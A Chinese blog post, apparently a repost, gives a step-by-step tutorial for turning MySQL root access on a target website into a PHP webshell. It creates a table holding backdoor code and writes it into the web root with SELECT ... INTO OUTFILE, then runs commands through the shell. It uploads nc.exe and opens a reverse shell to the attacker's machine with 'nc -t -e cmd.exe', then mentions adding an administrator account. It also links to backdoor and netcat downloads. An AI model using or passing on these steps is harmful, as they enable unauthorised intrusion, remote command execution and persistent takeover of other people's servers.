通过mysql获取php webshell

   在获得目标网站的mysql权限之后,可进一步获取网站webshell,此方法前提①mysql权限是root,②获取到了网站的绝对路径。获取数据库权限的方法,可以尝试sql注入(方法参见易踪网文章,http://www.yeetrack.com/?p=20http://www.yeetrack.com/?p=272)。获取了mysql的root权限后,在数据库中新建一个表,表内有一个字段,字段内填入php后门代码,如create table doortable ( backdoor varchar(1000) ); 然后 insert into doortable (backdoor) values ("hello world");,实际内容改为php后门代码,php文件链接:http://pan.baidu.com/share/link?shareid=69995&uk=537055152 ,插入成功后,执行命令select * from doortable into outfile "c:apachehtdocstem.php", (实际操作中填入目标网站的绝对路径)。然后我们在自己的机器上去访问这个php文件,效果如图:

28005247_r56V.jpg

,我们可以在webshell中执行命令,如执行tasklist,效果如图:
28005248_GshH.jpg
我们还可以上传自定义的文件到目标网站的路径,如上传一个nc程序(易踪网分享: http://pan.baidu.com/share/link?shareid=69999&uk=537055152), 进一步建立一个反弹链接。选择下载文件中nc.exe,点击上传。上传成功后,首先在我们本机上监听一个端口,命令:nc -vv -l -p 8080,然后通过我们的php后门文件在服务器端执行命令:nc -t -e C:windowssystem32cmd.exe 192.168.1.102 8080。稍后,应该就在我们本地监听的cmd中,建立了一个链接,出现目标主机的shell,如图:
28005248_hQiJ.jpg
,然后就是net user新建管理员用户等等。。。youthflies发表在易踪网上,链接:http://www.yeetrack.com/?p=280

转载于:https://my.oschina.net/u/147181/blog/164789

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值